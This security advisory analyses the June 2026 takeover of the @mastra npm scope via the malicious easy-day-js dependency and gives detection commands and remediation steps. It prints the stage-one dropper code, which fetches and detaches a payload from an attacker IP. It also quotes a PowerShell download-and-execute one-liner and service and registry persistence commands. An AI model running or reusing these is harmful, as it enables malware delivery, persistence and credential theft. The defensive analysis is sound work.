CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829
Affected Surface
- 141 compromised `@mastra/*` packages plus the top-level `mastra` and `create-mastra` packages published on 17 June 2026
- Mastra-based AI agent applications and toolchains using packages such as `@mastra/core`, `@mastra/mcp`, `@mastra/ai-sdk`, `@mastra/server`, `mastra`, `create-mastra`, and adjacent ecosystem artifacts such as `mastracode`
- Developer workstations and CI runners that performed fresh npm installs and resolved `easy-day-js@1.11.22`
- Hosts exposing LLM API keys, cloud credentials, npm tokens, GitHub tokens, browser data, or browser wallet data to Node.js processes
- Windows hosts that reached attacker C2 and could receive a Sapphire Sleet PowerShell backdoor, `MicrosoftUpdate` Run-key persistence, or the `scdev` SYSTEM service implant
The most important new supply-chain story in the last three days is the 17 June takeover of the @mastra npm scope. Multiple security teams independently observed the same core pattern: the attacker did not need to backdoor Mastra’s TypeScript source, inject a native addon, or slip a payload into the visible application code. A compromised publisher account was enough to republish almost the entire scope with a one-line dependency addition that let npm do the rest.
The technical trick was small:
"dependencies": {
+ "easy-day-js": "^1.11.21",
...
}
That line is why this incident matters to AppSec teams. The carrier packages remained operationally “clean-looking” while the real malicious logic lived one dependency lower in easy-day-js@1.11.22. Any environment that performed a fresh install of an affected Mastra package after the malicious dependency was armed should be treated as having executed attacker-controlled code.
Count the incident carefully
Public reporting uses several different numbers for the Mastra blast radius. The discrepancy is mostly about what is being counted:
141compromised@mastra/*packages.143affected Mastra packages if you add the top-levelmastraandcreate-mastrapackages.144affected artifacts if you also count the malicious dependencyeasy-day-js.145artifacts if you also count the separately reportedmastracodepackage some defenders observed in the same publisher sweep.
Mastra’s later public incident writeup uses a narrower 116 malicious packages figure, while later vendor-linked and defender writeups also reference 142 publishable scope packages before adding mastra, create-mastra, and sometimes mastracode. That appears to be a difference in inventory boundaries rather than a contradiction of the event itself. For defenders, the practical answer is simpler than the counting debate: if you install from the Mastra ecosystem during the exposure window, search for the injected dependency and treat the host as exposed when it resolves to easy-day-js@1.11.22.
The semver carrier pattern
The attacker staged the dependency in two steps:
- Publish
easy-day-js@1.11.21on 16 June at07:05 UTCas a clean-lookingdayjsimpersonator. - Publish
easy-day-js@1.11.22on 17 June at01:01 UTCwith the malicious install hook, then republish Mastra packages with"easy-day-js": "^1.11.21"starting roughly01:20 UTC.
That choice of version range is the entire point. The carrier packages did not need to mention 1.11.22 explicitly. A normal npm resolution of ^1.11.21 automatically selected the newest compatible patch release:
@mastra/core package.json
-> easy-day-js ^1.11.21
-> npm resolves latest matching patch
-> easy-day-js 1.11.22
-> postinstall runs setup.cjs
Microsoft’s package diff adds an important wrinkle here: the bundled dayjs.min.js payload in easy-day-js@1.11.21 and 1.11.22 was byte-identical. The weaponization delta lived almost entirely in the added postinstall path and setup.cjs, not in the visible application library code that developers were likely to inspect first.
This is one of the reasons registry-artifact review matters more than source-repository review during supply-chain response. The attack surface is not just “what changed in Git.” It is also “what new dependency range did the published tarball introduce, what exact registry metadata changed, and what did the registry serve for that range at install time?”
The publish anomaly was visible in registry metadata
One of the strongest late-breaking signals is that the compromised package versions broke the project’s normal publish pattern. Microsoft observed that earlier mastra releases were published through GitHub Actions OpenID Connect, while mastra@1.13.1 was manually pushed by the hijacked ehindero account using a Tutamail address.
The package-level delta was therefore not only the new dependency. It was also a provenance break:
mastra@1.13.0 published via GitHub Actions OIDC
mastra@1.13.1 manually published by ehindero2016@tutamail.com
easy-day-js published by sergey2016@tutamail.com
That kind of registry metadata shift is high-signal during incident triage. When a package that normally publishes from CI suddenly appears as a manual release from an anonymous mailbox, the provenance break itself is part of the compromise evidence.
The malicious package did not need to look malicious
The easy-day-js package reportedly copied the legitimate dayjs description, repository metadata, homepage, and bundled dayjs.min.js to minimize visual differences during cursory inspection. The meaningful change was the added install hook:
{
"scripts": {
"postinstall": "node setup.cjs --no-warnings"
}
}
The 1.11.21 release was the decoy. The 1.11.22 release was the armed version. That distinction matters because defenders who only inspected the original injected version string in the Mastra package manifests could falsely conclude the dependency was harmless.
What setup.cjs does
Public reverse engineering across Aikido, StepSecurity, Endor Labs, and Snyk aligns on the same stage-one logic. Stripped to the operational core, the dropper looks like this:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
const payload = await (await fetch("https://23.254.164.92:8000/update/49890878")).text();
const filename = crypto.randomBytes(12).toString("hex") + ".js";
const filepath = path.join(os.tmpdir(), filename);
fs.writeFileSync(filepath, payload, "utf8");
child_process.spawn(process.execPath, [filepath, "23.254.164.123:443"], {
cwd: os.tmpdir(),
detached: true,
stdio: "ignore",
windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true });
Several implementation details are worth calling out:
NODE_TLS_REJECT_UNAUTHORIZED = "0"disables certificate validation so the raw-IP HTTPS download succeeds even if the server presents an untrusted certificate.- The payload is fetched at install time, not bundled in the npm tarball, which reduces static package-diff visibility.
- The random temp-file write plus
detached: trueand.unref()turns the second stage into a background process that can survive the package-manager session. fs.rmSync(__filename, { force: true })deletes the stage-one file after execution, removing the most obvious package-tree artifact.
Some reports also observed marker files such as .pkg_history and .pkg_logs, which means the dropper was not only executing code but leaving behind host-local state that could help the operator track installs or coordinate follow-on behavior.
The second stage was more than a simple stealer
The earlier public reports were enough to establish install-time code execution. Microsoft’s later reverse engineering makes it clearer that the detached payload was an operator-controlled implant rather than a one-shot grabber.
At a high level, the second stage behaves like this:
setup.cjs
-> writes .pkg_history and XOR-encoded .pkg_logs markers
-> GET https://23.254.164.92:8000/update/49890878
-> writes random <12-hex>.js file to tmp
-> node <random>.js 23.254.164.123:443
-> installs persistence
-> inventories host, browsers, wallets, and processes
-> polls for follow-on tasks
That matters because the compromise did not stop at “download and run.” The second stage reportedly installed login persistence across all three major desktop platforms:
| OS | Persistence mechanism | Artifact |
|---|---|---|
Windows | HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | C:\\ProgramData\\NodePackages\\protocal.cjs via NvmProtocal |
macOS | LaunchAgent | ~/Library/LaunchAgents/com.nvm.protocal.plist |
Linux | user-level systemd unit | ~/.config/systemd/user/nvmconf.service plus protocal.cjs |
Public reverse engineering also indicates that the implant went after more than generic environment variables:
- browser history databases from Chromium-family profiles
- installed application inventories for host profiling
- process lists and host metadata
166hardcoded browser-wallet extension IDs across Chrome, Edge, and Brave- follow-on task execution through built-in Node.js and shell runners
For Linux-focused defenders, the persistence path is especially important because it turns a package-manager event into a user-service foothold that can outlive the original npm install process.
June 19 update: this was also a Sapphire Sleet intrusion path
The most important follow-up in the last three days is Microsoft’s 19 June update attributing the Mastra compromise to Sapphire Sleet. That matters less as a naming exercise than as a scoping correction: on systems that progressed from package installation to active C2 communication, the attack chain did not necessarily stop at the Node.js implant already documented by Aikido, StepSecurity, Endor Labs, and Snyk.
Microsoft says hosts that reached the operator’s follow-on infrastructure could receive additional Windows-only tradecraft:
- a dedicated PowerShell backdoor delivered from separate infrastructure
- anti-forensic PowerShell history deletion
- a second user-logon persistence path under
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftUpdate - Microsoft Defender exclusions
- a service-level implant that runs as
SYSTEM
The follow-on command Microsoft published is short enough to show why this changes the remediation bar:
powershell -w h -c "iwr -UseBasicParsing https://teams.onweblive.org/api/update/8555575039/4|iex"
That is no longer just “package installs a stealer.” It is an operator-controlled post-compromise path that can move from install-time Node.js execution to fileless PowerShell execution on selected Windows victims. Microsoft’s writeup also shows the operator establishing a second persistence chain by writing C:\\ProgramData\\system.bat, registering it as MicrosoftUpdate, and then installing a service-backed DLL loader:
sc create scdev binPath= "c:\\windows\\system32\\svchost.exe -k scdev" type= share start= auto
reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\scdev\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\\windows\\system32\\scdev.dll /f
For AppSec teams, the practical takeaway is simple: if an affected Windows workstation or runner talked to the Mastra C2, scope it like a real intrusion, not like a dependency-only cleanup task.
Why Mastra was a high-value target
Mastra is not “just another npm namespace.” It is an AI-agent framework that commonly runs close to the exact secrets modern AppSec teams worry about:
OPENAI_API_KEY,ANTHROPIC_API_KEY,GOOGLE_API_KEY- cloud credentials and workload identities
- GitHub and npm publishing credentials
- CI runner secrets
- browser wallets or other user-local tokens on developer workstations
That target profile is reinforced by the package choices. The attacker did not hit only the core framework package. The compromised set spans:
- framework core:
@mastra/core,@mastra/server,mastra,create-mastra - AI/provider integrations:
@mastra/openai,@mastra/claude,@mastra/perplexity,@mastra/ai-sdk - MCP and agent tooling:
@mastra/mcp,@mastra/mcp-docs-server,@mastra/mcp-registry-registry - storage and vector backends:
@mastra/pg,@mastra/libsql,@mastra/mongodb,@mastra/qdrant,@mastra/pinecone,@mastra/opensearch - observability and deployment surfaces:
@mastra/observability,@mastra/loggers,@mastra/deployer,@mastra/deployer-cloudflare,@mastra/deployer-vercel
That spread strongly suggests a scope-wide scripted publish sweep rather than a one-off attack against a single high-download package.
Affected packages
The highest-profile compromised versions that multiple sources corroborate include:
@mastra/schema-compat@1.2.12@mastra/core@1.42.1mastra@1.13.1create-mastra@1.13.1@mastra/memory@1.20.4@mastra/server@2.1.1@mastra/deployer@1.42.1@mastra/loggers@1.1.3@mastra/observability@1.14.2@mastra/mcp@1.10.1@mastra/ai-sdk@1.4.6
For lockfile and package-cache scoping, use the broader verified package inventory below. This list covers the 143 affected Mastra package names observed across public inventories, excluding the separate malicious dependency easy-day-js:
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2
Track the malicious dependency separately:
easy-day-js@1.11.21 clean decoy release
easy-day-js@1.11.22 malicious postinstall dropper
Detection and scoping
Start with dependency and lockfile searches:
npm ls easy-day-js @mastra/core mastra create-mastra
pnpm why easy-day-js
yarn why easy-day-js
rg -n "easy-day-js|@mastra/" \
package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
Then inspect installed package trees or caches for the stage-one markers:
rg -n '"postinstall": "node setup\\.cjs --no-warnings"' node_modules ~/.npm
rg -n "NODE_TLS_REJECT_UNAUTHORIZED|23\\.254\\.164\\.92|23\\.254\\.164\\.123|\\.pkg_history|\\.pkg_logs" \
node_modules ~/.npm "$HOME"
On Linux workstations and runners, also check for persistence or detached second-stage activity in temp and user-service locations:
ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null
ls -la ~/.config/systemd/user 2>/dev/null
ls -la ~/.config/systemd/user/nvmconf.service ~/.config/NodePackages 2>/dev/null
rg -n "23\\.254\\.164\\.123|NodePackages|nvmconf" ~/.config/systemd/user "$HOME"
On Windows developer workstations or runners, also look for the later-stage artifacts Microsoft tied to C2-positive hosts:
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NvmProtocal
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftUpdate
reg query HKLM\SYSTEM\CurrentControlSet\Services\scdev\Parameters
sc qc scdev
powershell -NoProfile -Command "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath"
Then search for the specific stage-three indicators on disk or in logs:
teams.onweblive.org
C:\ProgramData\system.bat
C:\Windows\System32\scdev.dll
MicrosoftUpdate
scdev
Because some malicious versions were unpublished or superseded quickly, historical registry timestamps may be a better forensic source than a simple current npm view <package>@<version> lookup. If you are reconstructing what a runner resolved during the exposure window, preserve lockfiles, npm cache contents, and CI logs before cleanup.
Response guidance
Treat installation of any affected version as code execution on the installing host.
- Isolate affected developer workstations or CI runners before broad credential rotation.
- Preserve lockfiles, npm cache entries, workflow logs, and any
.pkg_history/.pkg_logsartifacts. - Rebuild from a clean lockfile and clean package versions rather than trusting in-place dependency edits.
- Rotate GitHub, npm, cloud, AI-provider, SSH, and other secrets reachable from the affected host.
- Audit for persistence and follow-on payload execution, not just the presence of
easy-day-jsin the current dependency tree. - On Windows hosts with evidence of C2 contact, treat
MicrosoftUpdate,scdev, Defender exclusions, orteams.onweblive.orgtraffic as signs that the compromise moved beyond the initial Node.js implant.
The key lesson is that the visible package you install is no longer the whole security boundary. In the Mastra incident, the meaningful backdoor was a one-line dependency change plus semver resolution. If your review workflow still treats a clean-looking package.json diff as low risk when it adds an unused dependency, the attacker already knows where to hide.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Aikido: Over 140 popular Mastra npm Packages Hit by Supply Chain Attack
- StepSecurity: Mastra npm Supply Chain Attack
- Endor Labs: Mastra npm Org Compromised
- Microsoft Threat Intelligence: Inside the Mastra npm supply chain compromise
- BleepingComputer: Microsoft links Mastra AI supply chain attack to North Korean hackers
- SecurityWeek: North Korean Hackers Blamed for Mastra NPM Supply Chain Attack
- Snyk: Mastra npm Scope Takeover
- Mastra incident issue
- CWE-506 Embedded Malicious Code
- CWE-494 Download of Code Without Integrity Check
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere